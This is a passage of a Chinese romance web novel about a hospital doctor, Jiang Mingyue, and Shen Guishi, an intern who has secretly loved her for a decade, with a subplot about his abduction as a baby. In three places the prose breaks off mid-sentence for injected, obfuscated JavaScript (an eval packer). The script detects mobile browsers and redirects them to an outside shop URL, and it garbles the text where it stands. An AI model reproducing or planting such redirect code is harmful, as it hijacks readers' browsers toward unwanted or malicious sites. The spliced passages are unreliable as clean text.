虽说就算没有玫瑰花,那个男人也会找别的东西打人,但她还是忍不住迁怒。 江明月料想,沈归时还是在校学生,缝合技术估计马马虎虎,反正伤口在手臂内侧,没人仔细看缝得好不好,就当给这个实习生练手了。 出乎意料的是,沈归时缝得相当好,针距整齐划一,手术结也打得平整漂亮。江明月盯着他的手看了一会儿。那双手匀净修长,指甲圆润干净。手背肌肤瓷白,因为缝合的动作,显出淡青色的脉络。 就是这样一双手,在昨天,拉开了攥紧她不放的陈子硕。在刚才,掼倒了蓄意伤人的医闹男人。 陈子硕虎背熊腰,刚刚那个男人同样人高马大,她也不知道眼前这个看似斯文的实习医生是怎么制住那两人的。 “以后遇到这种情况,你不要跟病人动手。”江明月耐心说着,神情柔和,“万一被人拍下来发到网上,网上那些人未必会深究谁对谁错,他们只会说医生打病人。到时候医院出面解释麻烦不说,对你个人的职业生涯也有影响的。” 沈归时说:“好。” “还有就是,你不能确定对方是不是有备而来,如果他身上带了刀或者别的利器,你一旦跟他对上,处境会很危险。所以如果再遇到来医闹的病人或者家属,你千万不要跟他们有肢体冲突,尽量找保卫科来处理。” 沈归时又说:“好。” 真是好学生啊。 江明月忍不住想。 说什么应什么。 手臂缝合结束,江明月看了眼时间,离下午上班还有一个小时左右。 她问沈归时:“你睡午觉吗?值班室里有折叠躺椅。” 沈归时没回答,江明月偏头去看他,猝不及防地撞上他干净温和的眸光。 那双深黑的眼瞳倒映出她的面庞,视线相交,他不闪不避,专注而笃定。 江明月像被这目光烫了一下,情不自禁地往后靠了靠。 沈归时忽然倾身向前,抬手拂开她额角碎发。 “这里也有擦伤,师姐。” 所以他刚刚在看……她脸上的伤口? 江明月微微怔忪。 额角伤势轻微,只是破了一点皮。沈归时不说,她都没感觉,全部注意力都在受伤的手臂上。听沈归时说了以后,她才发觉额角也灼烧般的疼。 沈归时拿来浸满碘酒的棉签,继续帮江明月处理伤口。 一时之间,两人靠得很近。棉签极轻柔地划过伤口的肌肤,伴随着微微凉意。 江明月听见了沈归时清浅的呼吸声,脑中不断盘旋着沈归时刚刚和她对视的那一眼。他的眼皮很薄,眼周轮廓深邃,撑出了好看的双眼皮弧度,一对清黑的瞳仁真诚而清亮。 她霍地站起来。 沈归时的右手顿在半空:“弄疼你了?” “没有……今天谢谢你,你去休息吧,我自己来就行。” 江明月深深吸进一口气再吐出,总算觉得那双眼睛从眼前消失了。她找来药膏,自己对着镜子把额头上的伤处理了。 - 因为警车来了一趟,很快半个医院都知道有个病人把生殖科的江明月医生打伤了。 江明月接到医院工会打来的慰问电话,还让她去领慰问红包。 近几年医闹现象不少,本院就出了这样一个规定——凡是因为病人或者病人家属闹事而受伤的医护人员,工会都会发一个小红包,以示安抚。 趁中午空闲,江明月跑了趟行政楼,拿到了慰问红包。 200块钱,装在一个小小的红信封里面。 她指着手臂内侧贴着无菌敷料的地方,开玩笑般问道:“就200?我这儿缝了好几针呢!” 工会上的人也笑着说:“现在院里经费紧张,你也别嫌弃,钱少情意重嘛。你这胳膊不要紧吧?手术还能照常做吧?” 江明月活动了一下手腕胳膊肘,“还好,没伤筋没动骨,不耽误手术操作。” “那就好,就怕影响以后拿手术刀。” 大家又闲聊了几句,隔壁科教科的同事听见声音,跑过来问:“江医生,现在宋远和沈归时是不是轮转到你们科了?” 江明月说:“对。” “那你来一下,把他们俩的实习评价表带回去。” 江明月依言跟去拿材料,科教科的同事给了她两份纸质实习评价表,后面各附一份履历表。 鬼使神差地,江明月翻开了沈归时那份履历。 【姓名-沈归时】 【曾用名-王添】 改名换姓,一个字都不一样。 江明月微微诧异,但也没多想,而是一目十行地往后看。 沈归时小学和初中均就读于海城某个偏远地区的乡镇学校,可以说是在教育资源比较匮乏的地方接受了九年义务教育。 但他还是考上了全海城最好的高中——海城第一中学。 再后来,他考上了海城大学医学院,临床八年制本博连读。 这一路江明月看得都辛酸。 还真是小镇做题家啊,一步步考上来的。 再看【奖惩】那一栏,其中一条写的是高中连获三年“青云助学奖金”。 海城第一中学也是江明月的母校。所以她知道,“青云助学奖金”名额很少,一般只会颁发给那些品学兼优,但家庭贫困的学生。 至此,江明月也算大致拼凑出了沈归时的基本情况—— 一个家境贫苦、勤奋努力的寒门学子。 怪不得那么卷。 不卷哪有出路。 - 江明月回到诊室时,沈归时正在打扫散落一地的玫瑰花枝,地上还有些许凝固的斑斑血迹,他单膝半蹲下来,用酒精湿巾一点点地擦除。 得知他的家庭情况后,再看到他一声不吭地做着这些杂活儿,江明月的心绪很是难辨。 沈归时一抬头就看见了门口的江明月,他喊了声“师姐”,然后找来一个大垃圾袋,将已经清理好的玫瑰花和枝叶都装了进去。 动作很利索,确实不是那种娇生惯养长大的人。 江明月默默叹气,心底升腾起一种微妙的……同情。 “这个你收着。”她把刚刚收到的200块钱红包递给沈归时,“从中午忙到现在了,一点辛苦费。” 其实她也不太确定她心底那份微妙的情绪是不是同情。也有可能是身为校友的些许怜悯和可惜,或者是作为师姐的一点于心不忍。她唯一能确定的是—— 她想帮他。 至少让他在经济上宽裕一些。 沈归时微怔:“师姐别这么客气……都是小事,我应该做的。” 江明月开始反思直接给钱是不是伤他自尊了。 她沉默半晌,想到了一个好主意:“我还有一些论文数据没整理,你今天下班别走,帮我把数据导出来,做成表格发我邮箱。红包你先收着,不多,就200块钱,占用你的时间,我总得有点表示。” “好。”沈归时答应得很快,但分毫没有接红包的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640841|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。 江明月干脆把他的手抓过来,把红包塞进他的手心,还帮他合上了手掌,将红包握紧。 沈归时显然忘了反应,任她一通操作。 “你收好!”江明月笑着说,“我可不是那种压榨实习生的带教,你放心。” - 下班时间到了。 江明月打电话给母亲,说自己这几天晚上要值班,不回家住了。 孙静一直知道医院工作忙,听江明月说夜里要值班也没多问,只是嘱咐她找机会多睡一会儿。 倒是一旁的沈归时问了句:“师姐,你晚上还要值班吗?” “哦,我不值班。我是怕我妈看到这个。”江明月举了下受伤的小臂,“她看到了肯定要操心,所以我这几天就不回去住了,等拆线了再说。” 沈归时点点头,又问:“师姐,你说要整理的论文数据在哪儿?” 江明月没想到他会主动提起,愣了两秒才说:“我马上发给你。” 要不说人家是卷王呢。 一整天都在主动找活儿干。 - 等电梯下楼时,江明月又给舅妈打了个电话,委婉地表明了她和陈子硕不太合适,请舅妈跟陈家人打个招呼,两人做普通朋友就行,平时不联系的那种。 舅妈还在电话里说:“月月呀,你再给人家一个机会,我听说那个小陈很中意你的。” 江明月敬谢不敏,翻来覆去换着说法说“没有眼缘”。舅妈遗憾得很,不过也答应了江明月,会跟陈家说清楚。 挂断电话,手机震了震,有新消息。 【崔晚晚:明月,这周五晚上你有空吗?】 【崔晚晚:沈元姝说要请我们吃饭。】 江明月一时没想起来沈元姝是谁,发了个“?”过去。 【崔晚晚:就是昨天那个晕倒的小姑娘。】 【崔晚晚:估计她家里条件挺好,说要请我们吃珑记荟馆,让我问问你有没有时间,你有空的话她就订位子了。】 珑记荟馆是海城榜上有名的黑珍珠餐厅,主要做苏浙菜。不点海鲜的话,人均三千左右。点海鲜的话,上不封顶。 电梯正好到了。江明月一边看手机一边低头走进去,大致想了一遍接下来几天的工作安排。 【江明月:我有空。】 【崔晚晚:那行,我跟她说一下。】 【崔晚晚:还有,昨天咖啡馆门口遇到的那两个实习医生~你是不是忘记把他们联系方式给我了呀~】 崔晚晚发完这句,后面紧跟着一个星星眼表情包。 【江明月:我没忘。】 【江明月:就是不想给。】 【崔晚晚:嗨呀,我这次是认真的,保证不是图一时新鲜。】 【江明月:?】 【江明月:你同时认真俩?】 【崔晚晚:……】 【崔晚晚:你一个一个给也行。】 【江明月:不行。】 态度十分鲜明。 几秒后,崔晚晚发来一条语音。江明月点开,听见崔晚晚幽幽的叹气声:“不行就不行。我就知道,你舍不得那两个青葱少年被我糟蹋了。” 电梯里还有不少人。 江明月感觉有好几个人侧目看过来了,连忙狂按手机音量键,调低声音。 崔晚晚又发来一条语音,江明月没敢在电梯里点开,直到出了电梯走到宽阔无人的走廊上,她才点开那条语音。 短短几秒,崔晚晚的声线故作深沉:“不要心疼男人,会变得不幸。” 江明月浑身一激灵。 几秒钟的语音在她的耳畔一掠而过,却好像在寂静无人的走廊久久回荡。 今天面对沈归时产生的那些似是而非的同情,仿佛在此刻有了一个更准确的描述—— 心疼。 - 这个念头在江明月脑中萦绕了几个来回,很快就像风吹浮云一般,轻飘飘地消散了。 心疼。 这两个字似乎亲密得过分,只适用于家人和挚友。 6. 暗恋 海大附院位于中心城区,附近既有商圈又有学校,居住氛围很浓。 江明月刚参加工作的时候,家里就给她在医院附近的海城名邸买了一套房。将近两百平的大平层,只为方便她工作之余临时休息。 不过江明月习惯每天开车回家住,车程也不算长,半小时左右。即便有时懒得自己开车,也有司机接送。所以海城名邸那套房子常年空关着,就每月请阿姨上门打扫一下。 这几天她就打算暂住在那边。 她回去以后,照例先洗手,习惯性地把洗手液的泡沫往胳膊上抹,猛地想起小臂还有伤,立马停下动作。 把手擦拭干净之后,提前点的外卖也刚好送到了,她坐到餐桌前简单吃了两口,打开笔记本电脑开始看文献。 也不知过了多久,手机屏幕一亮。 【沈归时:师姐,你要的数据资料已发到你的邮箱,你看看行不行。】 他的微信头像是一片深蓝。江明月点开来放大,才发现那是一张风景照,蓝黑色的夜幕之下,一轮皎月当空,意境很美。 她登录邮箱,找到沈归时发来的资料。 条目清晰整齐,均已按她想法分门别类。一些重要数据后面还做了超链接,方便随时检索。 这个工作量不小,没三四个小时弄不下来。 这活儿干得是真细啊。 江明月感慨的同时,又觉得200块钱给少了。 她当下又给沈归时发了200块钱微信红包。 【江明月:辛苦。一点谢意。】 【沈归时:不用,师姐有需要再找我。】 见对方没有点开红包,江明月继续打字。 【江明月:这周末北城有个研讨会,我和郑主任要去,这些数据刚好可以用在研讨会上,非常有用。我知道做数据整理工作不容易,你省了我好多事,所以真的很感谢你,这个红包你务必收下。】 聊天界面的上方一直显示“对方正在输入”,沈归时就停在和江明月的对话框,直到这么一长段的消息跳出来。 她比自己想象中还要温柔。 面对络绎不绝、脾性各异的患者,她始终轻声细语,耐心解释治疗方案。面对他这样素不相识的实习生,她也会不厌其烦,时刻关照。 就是不知道为什么,她好像特别执着于给他报酬。 下午那个红包他本来是不会拿的。收了钱就像交易,显得泾渭分明两不相欠。他不想这么见外。 但她握住了他的手。 当时他整个人都滞住了。直到现在回想起来,心弦都忍不住一颤。 沈归时在聊天框里写了又删,反复斟酌着措辞,最终发送。 【沈归时:没关系的师姐,只是一点小活儿,我做起来也很快的,你不用这么客气。】 【江明月:那我请你吃饭吧,不能让你白干活儿。】 他终于没再拒绝。 【沈归时:好,谢谢师姐。】 【江明月:你一般什么时候有空?】 【沈归时:随时。】 他发出去了,才觉得这两个字透着急不可耐。撤回也不合适,只好谨慎地补充。 【沈归时:我都行,看师姐的时间。】 - 周二也是门诊日。 宋远的实验报告写完了,和沈归时一起出现在诊室。见到江明月,宋远热情地上前打招呼,还聊了两句早饭吃了什么,尽显“社牛”本色。 江明月坐到电脑前,登录系统查看今天的候诊病人清单,然后就发现了一个熟悉的名字。 陈子硕。 挂了她的门诊号,13号。 江明月头都大了。不过她也不确定这人是不是那天的相亲对象,也有可能只是刚好重名。 “小沈。”江明月觉得右手臂的伤口又在隐隐作痛了。 沈归时正在给几支写不出墨的签字笔换笔芯,闻声抬头望过来。 江明月接着说:“去外面分诊区问问,13号是来看什么病的。” 很大可能不是来看病的,而是来看她的。 - 候诊大厅坐满了人,吵吵嚷嚷的,有的人一直低头刷着手机视频,也有人电话接个不停,还有不少人在互相交流病情。 沈归时扫视一圈,很快锁定了一个略显熟悉的身影。 ——师姐那天的相亲对象。 他心下有了判断,大步走到陈子硕面前。 “你好,请问你是几号?” 瘫在椅子上的陈子硕微微坐直,打量着眼前的白大褂。这人他觉得面熟,但又不记得在哪里见过。 “13号,怎么了?” 果然。 沈归时一副公事公办的架势:“哦,今天就诊的人比较多,你先把你的情况描述一下,我做个记录,待会儿看诊的时候能快一点。” “不用,不用。”陈子硕连连摆手,继续往后瘫坐,没骨头似的靠在椅背上,抬眼的瞬间,不经意地对上沈归时的视线。 沈归时个子高,又站得笔直,从上至下看过来的时候,眸光深冷锐利,有一种熟悉的压迫感。 这种压迫感一下子激活了陈子硕的记忆。 “诶!诶诶!”陈子硕想起来了,“你是前天在咖啡馆门口的那个人!” 是那个将他和江明月拉开来的人。 陈子硕认出了沈归时,反倒更放松了,没什么顾虑就和盘托出:“兄弟,我实话告诉你吧,我今天就是来找江医生的。我真挺喜欢她的,但她昨天晚上托人跟我提分手了,所以我今天特意挂了她的号,就想问问她到底怎么回事。” 沈归时听得额角青筋直跳,蹙眉说:“什么叫跟你提分手?你们都没在一起过,分什么手?” 那叫了断! 沈归时略微一停,接着说:“你回去吧,她不想见你。” 陈子硕梗着脖子说:“我挂号了!我花钱了!凭什么不能见医生?” 沈归时面无表情地走到收费处,问当班的收费员:“江明月的13号,挂错号了,能退吗?” “能退。”收费员动作麻利,移动鼠标在屏幕上点了几下,“好了,钱款原路返回。” 陈子硕仍旧靠坐在椅子上,根本没注意沈归时去哪儿做什么了,忽然收到取消挂号的短信通知,着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640842|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实愣了好几秒。 抬头瞥见渐渐走远的沈归时,陈子硕抬脚就追了上去。 “你小子!”陈子硕拖着沉重的躯体,愤愤指着沈归时,“又坏我事!我说你图啥啊!该不会你也喜欢江小姐吧?” 沈归时没有回答,头也不回地往前走。 “好啊你,默认了是吧。” 陈子硕横在沈归时面前,拦住他的去路。 “你才认识她多久你就敢喜欢她?你了解她吗?她爸——开船厂的,卖船都卖到迪拜了,一年能挣这个数。”陈子硕伸出一只手,比划了一下,“我劝你掂量掂量自己几斤几两什么家底,你配得上她吗?” 沈归时微微垂眸。 “十年。”他几乎没有思考就说了出来。 声量不高,但陈子硕听得真切,就是没反应过来:“什么十年?” 就这么一愣神的工夫,沈归时已经错开他走远了。 陈子硕过了会儿才琢磨过来,冲着沈归时的背影喊了声:“你说你认识她十年了?你就吹吧!” 沈归时压根儿不搭理他。陈子硕只好轻哼一声,勉强维持着岌岌可危的尊严:“不见就不见,我还不稀罕来找她呢。” - 诊室的门没关。 沈归时从门外就能瞧见江明月。 今天天气很好,万里无云,灿烂辉煌的阳光照遍了诊室的每一个角落。不过室内还是开了灯——医院统一的LED吸顶灯令整个诊室变得更加明亮。 江明月端坐在灯下。 这情景让沈归时想起了曾经那个站在演讲台灯光下的她。 那是他第一次见到她。 在海城一中迎新晚会上。 他是新入学的高一学子,她是回母校致辞的优秀毕业生。 她在长久的掌声中走到学校礼堂最前方的演讲台上。站在聚光灯下的那一刻,世界仿佛都安静了一秒。 她那样姿态从容,摘下演讲台上的话筒。老式音响里传出动人至极的嗓音。 “大家好。” “一江明月碧琉璃,我是江明月。” 整个礼堂为她捧场欢呼。 就这么一个片段,沈归时记了很多很多年。仿佛一个难以磨灭的印记,牢牢地刻在了心底,光阴如同流水,将整颗心一遍又一遍冲刷,记忆中许多琐事都随之消散一空,唯有那个印记愈发分明。 从那时,到现在,刚好十年。 他单方面认识了她十年。 同学们偷偷议论她,说她家境极好,之前在海城一中读书时,每天上学放学都有司机接送。 他只知道她很爱笑,明媚而开朗,牵动人的心神。 那些不甚明显的骄傲与自信,都在她的举手投足之间悄无声息地展露,始终衬得她落落大方、明艳动人。 后来,他常常看到她。 在海城一中历届优秀毕业生的照片墙上,在海大医学院的招生宣传片中,在临床医学宿舍楼的楼下。 在他的梦里。 那个光芒万丈的明月,那个遥不可及的明月,不知从什么时候开始,成为了他心中挥之不去的一轮明月。 7. 兼职 沈归时走进诊室:“师姐,13号,就是前天在清松咖啡馆门口的那个人。” 江明月觉得太阳穴在跳。她抬手用力揉了揉。 沈归时又说:“他已经退号了。” “嗯?”江明月困惑之余明显松了口气。 沈归时不由莞尔:“我帮他退了。” 宋远凑过来问:“什么退号?退什么号?” 涉及江明月,沈归时不想多说,轻描淡写一句带过:“没什么。”他把自己昨天跟班学习的笔记递给宋远,“你昨天没来,我做了笔记,你先看看。” 宋远立即转移了注意力:“谢谢沈哥!” 江明月忍不住问宋远:“你不是比小沈大一岁吗?怎么管他叫哥?” 宋远顿时打开了话匣子:“我沈哥,年年期末考试给全宿舍划重点,押题能押中七八成,实验思路也牛得一批,日常带飞全组——别说是喊一声哥了,让我喊爹都行。我们这种八年制本博连读的,很多老师都觉得我们学制太短,科研不行,临床更不行。而我沈哥,可能是全班唯一一个让老师两方面都满意的。” 不愧是卷王。 江明月默默感慨,又问:“那你们毕业以后想往哪个方向发展?继续做科研还是来一线干临床?” 沈归时率先回答,不假思索:“临床。” 宋远也说:“还是临床吧,科研太枯燥了。” 江明月感觉自己露出了魔鬼的微笑:“实不相瞒,临床也是需要科研成果的,只要你还活着,就要写国自然,只要你还能喘气,就要投SCI。” 沈归时闻言,表情没多大变化,淡定得很。 宋远则是一脸生无可恋,猛拍自己的脸:“你说你学啥不好非要学医呢?” - 今天一天还算顺利。临近下班的点,病人都看完了。 江明月收拾着桌上的零碎物品,顺口问沈归时:“小沈,你今天晚上有时间吗?我请你吃饭,说好了的。” 沈归时正在整理今天的跟班笔记。他抬眸望了眼江明月,她忙着收拾东西,并没有往他这儿看一眼。 沈归时手中的笔尖顿在纸面上:“我有时间。” “你想吃什么?一会儿我们下了班去吃。” “都行,师姐定吧。” 宋远刚从洗手间回来,正好听见这一段。他笑嘻嘻地问:“你俩去吃啥?带我一个呗。” “行啊,我请你们。”江明月答应得很爽快,“吃什么还没想好,你有什么想法没?” 宋远本以为是AA,没想到是江明月请客。他也不好意思让江明月破费,于是嘿嘿笑道:“家常菜就行,简单吃点。” 沈归时看着宋远呲着乐的一口白牙,不觉捏紧了手里的笔。 “你的实验报告刚刚被卢老师退回来了,限你今天修改后重新提交给他。”他声线有些沉,像在宣读一个冷冰冰的判决,“你现在回学校修改,应该还来得及。” 宋远一下子收了笑,掏出手机查看群消息。 确实如沈归时所说,他的报告被导师打回来了。如果想在今天改出一个新版本重新提交,出去吃饭肯定来不及了。 宋远已经想象到自己坐在电脑前一边吃泡面,一边生无可恋地改报告的情形了,他打了个哆嗦,将手机锁了屏。 “没事,吃完饭就回去改,应该来得及。” 沈归时蹙起眉:“今天交,你来得及?” 宋远自信点头:“肯定来得及!再说了,怎么能因为这点小事耽误了和你们吃饭!” 大不了熬夜改!天亮之前都是今天!反正他不想一个人回去孤零零地吃泡面。 - 三人最终选定附近商场内的一家连锁茶餐厅,下班之后他们直接步行过去。到店后,服务生领着他们来到一张小圆桌前,刚好三个座位。 三人围桌坐下。江明月让他们点菜。宋远划拉着菜单,只点了干炒牛河和虾饺皇两个菜。江明月让沈归时再加几道,沈归时让她点自己想吃的,他都行。 江明月估摸着两个大男生应该饭量不小,于是又加了几份主食和拼盘,一人一杯冰镇丝袜奶茶。 奶茶最先送了过来,其他菜还没上。宋远东拉西扯地闲聊:“江师姐,虽然你比我们大三届,但我们这一届到处都流传着你的传说。” “啊?”江明月捧着奶茶,好奇,“什么传说?” 宋远轻咳一声,“据说——据说啊,医学院附近所有的流浪猫,都被江师姐你,抓走阉了。” 江明月喝奶茶差点呛住,转身咳嗽起来。沈归时给她递了一杯水,她接过来灌了几口,缓了缓,才说:“我声明一下,猫是我抓的,但绝育手术不是我做的,我又没有执业兽医证,不能非法行医。” 宋远问:“那手术是谁做的?那么多猫!” “都送到兽医站去做的。” 宋远“哦”了声:“绝育也好,不然还不知道会有多少流二代。” 校园附近的流浪猫的生活品质算是流浪猫第一梯队,不少学生会自费买猫粮投喂。可是学生不会常年待在学校,寒暑假一到,莘莘学子人去楼空,那些流浪猫又成了没人管的小可怜。绝育之后,一方面可以避免这些小可怜泛滥成灾,另一方面,对猫咪的健康也有益。 不久,服务生上了菜,三人各自吃菜。 江明月状若无意地提起:“你们如果需要做兼职的话跟我说,我这儿有兼职的渠道。” 这话她是说给沈归时听的。毕竟授人以鱼不如授人以渔,给他工作的机会总比直接给钱好。 宋远随口问:“去哪儿兼职?做什么啊?” “去我爸厂里。” 江明月还没说具体要干什么工作,就听沈归时问:“什么时候去?” 相比于宋远随意的口吻,他的态度诚恳许多,似乎很感兴趣。 看来他确实需要这份收入来源。 江明月翻了翻手机,找出一个电话号码:“这人是我爸的助理,你直接联系他,喊他陈秘书就行,就说是我推荐的。” 见沈归时存下号码,江明月继续吃菜,简单解释了几句:“我爸厂里是造船的,一线需要下水作业,你就给他们做个急救培训,讲讲溺水后的急救处理。” 沈归时看着她夹了一筷子干炒牛河到自己碗里,将掺杂其中的洋葱挑了出来,挑完还仔仔细细地检查了一下,确认没有半片洋葱混在其中,这才放心地吃了起来。 “好,谢谢师姐。” 宋远大为震撼:“江师姐你家开厂的啊!你富二代啊!那你学什么医啊!” 江明月认真回答:“就是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640843|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救助别人,很有成就感啊。” 宋远堆出笑容:“那我现在就需要紧急救助!” “嗯?” “我想再吃一份菠萝冰。” 江明月:“……” 宋远吃完那份新点的菠萝冰,心满意足地回学校改实验报告了。 “哎,沈哥。”宋远望着电脑屏幕上的文档发了一会儿呆,叫住了从身后路过的沈归时,“你说卢老师给我写的这个批注是什么意思?” 批注就一个字:“补”。 沈归时瞟了眼屏幕,轻轻淡淡地吐出两个字:“你猜。” “别我猜了,再拖下去今天来不及交了。”宋远终于开始着急了。 “你刚刚好像信誓旦旦地说过——肯定来得及。”沈归时看了眼墙上的挂钟,“就在三个小时前。” 宋远怀疑自己哪里得罪了沈归时。为什么这人像在落井下石一样。 宋远一盘算,不按老师给的批注修改会被骂,现在打电话给老师问清楚也会被骂。既然同样要挨骂…… 他干脆心一横,打电话给导师卢景,果不其然被数落了一通,好在也知道了到底要“补”什么内容。 宋远道了谢,正要挂电话,就听见卢景问:“小沈在你边上吗?” “在啊。” “你把电话给小沈。” 提到了得意弟子沈归时,宋远感觉手机里传来的声音都变得温和了。他把手机递给沈归时,“卢老师找你。” 沈归时接过手机:“卢老师,您找我?” “小沈啊,这周末北城有个医学研讨会,我打算带你去见见世面,你有空的吧?” 周末,北城,医学研讨会。 沈归时想起江明月微信上说的那个“研讨会”,不出意外的话,应该是同一个会议。 “有空。”沈归时立刻给出答复,“谢谢卢老师。” 可能是因为宋远晚餐时提及了江明月救助流浪猫的事,沈归时又不期然地想起了许多年前的某个清晨,他晨跑结束,从操场回宿舍,路过一个花坛时,看见江明月从修剪整齐的灌木中走了出来,怀里抱着一只狸花猫。 那只猫很凶,张牙舞爪的,想从她怀里跳下去。她一点儿不生气,安抚般地挠了挠小猫的后脑勺,声线温柔:“不吵,听话!马上带你去新家!小狸花,有人领养你了知不知道?以后我们就有家了,再也不是流浪的野猫猫了!” 从他身边路过的时候,那只猫可能是闻到了陌生的气息,伸长爪子想朝他扑过来。 她将狸花猫圈紧,一脸歉意:“对不起对不起,抓伤你了吗?” 或许是晨曦的柔光都铺散在了她的身上,她周身都耀目,令人挪不开眼。 “没有……我没事。”沈归时记得自己是这么说的。第一次距离这么相近,他甚至不太敢看她,但垂眸的一瞬间,就注意到了她白皙手背上的抓痕,“你的手……” 她笑笑:“猫抓的,没事儿,我打过疫苗了。” 她抱着猫,渐渐从他身边走远了。 他知道她救助了很多流浪猫——送它们去做绝育手术,给它们找合适的领养人。几乎所有的课余时间,她都在忙这个。 他想象不出,她是在多少爱与包容的浇灌下长大的,才愿意用最大的善意回报这个世界。 8. 沈氏 几天相处下来,江明月发现宋远和沈归时像两个极端。 沈归时沉静内敛,话不多,一般默不作声地,就把活儿干了。 而有宋远在的地方,必然少不了他说话的声音。跟谁他都能聊上几句。和排队的就诊人聊几句家常,只是他的常规操作。有一回江明月做手术,宋远的话题才开了个头,病人全麻,已经睡过去了,宋远特意守着那人,等麻药醒了,再继续上个话题。 得亏宋远长了一张年轻阳光的面庞,纵使话很多,那些病人也只觉得他开朗,倒不至于心生反感。 - 很快到了周五。 江明月还没下班,崔晚晚直接找到她办公室来了。 她们之前就和沈元姝约好了,今晚一起去珑记荟馆吃饭。崔晚晚过来等江明月下班,一同赴会。 江明月说她还有病历要补,让崔晚晚先去隔壁会议室休息一会儿,她马上就忙完。 - 空旷的会议室内,沈归时正在看书。学校快期末考试了,这几天只要得空,他都会来这个闲置的会议室复习。 一旁的宋远和崔晚晚正在低声聊天。崔晚晚时不时扬唇一笑,根本没注意到江明月的出现。 直到江明月靠着门框,轻轻咳嗽一声。 崔晚晚这才发现江明月。她跟宋远说了声“拜拜,回头再聊”,然后提起包包上前,挽住江明月的小臂。 “走,吃饭去。” 两人进了电梯。 崔晚晚手机响了几声。她划开看了一眼,手指飞快地点着手机屏幕,显然是在回复消息。 江明月打量着她的一举一动,“这就‘回头’聊上了?” 崔晚晚眨眨眼,状似羞涩地一笑:“要到微信了耶……他人还挺健谈的。” 江明月:“……” 健谈?确定不是话多? 她想起刚刚端坐在会议室里复习的沈归时,有些好奇:“另外一个实习生,你也要到微信了?” 她可没忘记,崔晚晚之前一直找她要两个实习医生的联系方式。 两个,都要。 崔晚晚说:“没,我问他要微信,他说他没有微信。” 江明月:“……” “这你也信?” “我信啊。”崔晚晚神情还挺认真,“我这人别的本事没有,就是对帅哥言听计从。帅哥说什么我信什么,绝不怀疑。” 江明月也不知道该不该赞美:“那你是真有本事。” - 两人抵达珑记荟馆时,沈元姝已经在包厢里等她们了。 她见过崔晚晚。所以不难判断出,走在崔晚晚身边的那个人,就是那位救她一命的江医生。 她朝江明月友好一笑:“终于见到白衣天使了,快请坐。” 沈元姝笑意盈盈,为两位来客拉开座椅。她的姿态娴雅,这个礼节性的动作做得一点也不敷衍,始终透着恰到好处的周全与感激。 几人互相打了招呼,落座点菜。 期间崔晚晚提起,那天沈元姝心脏停跳了半个小时才恢复,差点就要宣判临床死亡了。 江明月还挺惊讶。她以为沈元姝被救护车接走后很快就恢复自主心跳了,没想到间隔了这么久。 不过今天她看沈元姝言语清晰,行动自然,完全看不出是一个曾经心脏停跳了三十分钟的人。 归根究底,还是得益于第一时间采取了急救措施。 等上菜的间隙,崔晚晚关心地问沈元姝:“你在海城是住酒店还是哪里?要是不嫌弃也可以来我家住,我家空房间多的是。” 沈元姝说:“谢谢。我现在住在我哥哥家里。” 崔晚晚这才想起沈元姝之前提过她在海城有个哥哥,还在上学。 “你哥哥多大了呀?” “和我一样大,我们是龙凤胎。” 崔晚晚笑着说:“哇!羡慕!我从小就希望自己有个哥哥,龙凤胎哥哥就更好了,可以一起上学,还可以抄他作业!你哥哥知道你出事肯定很担心吧?” 沈元姝微微一默。 服务生敲了敲包厢的门,推着装有菜品的推车进来,替三人布菜后,逐一介绍菜色。 崔晚晚没再多问,专心吃菜。 沈元姝却因为这寥寥数语心绪起伏。 她还没有跟沈归时提过这次意外休克。也没有和远在北城的长辈说起。 不和长辈说,是怕他们担心。不和沈归时说,是因为不知道怎么开口。 沈元姝很小的时候就知道自己有个双胞胎哥哥,可惜夭折了。 母亲说是因为怀孕时,哥哥把大部分营养让给了她,导致他自己降生后过于孱弱,没有活过两个小时。 沈元姝始终对那个夭折的哥哥怀着一份难言的歉意。有时望着周围差不多年龄的男生,她也会忍不住想,如果哥哥还活着,会有多高,长什么模样。 后来,她独自出国读高中。那一年中秋节,她孤身一人坐在公寓的露台上看月亮,夜风清凉,万籁俱寂。 她想,如果那个哥哥还在,应该会和她一起出国求学,一起在异国他乡度过中秋吧。 几日后的一个深夜,她接到母亲打来的电话。 电话里,母亲气恨不已,说当初哥哥根本没有夭折,而是被二叔家的人悄悄送走了。 她睡意全消,问送去哪里了,现在找到没有。 母亲说,目前只知道有人带着哥哥一路南下,扔在了海城火车站附近。 沈元姝一颗心当时就凉了半截。那时哥哥才出生没多久,又体质极弱,没人看护,恐怕连活下来都难。而且火车站附近人潮聚集,时隔十数年,就算他们沈家用尽人力、物力、财力追查,又谈何容易。 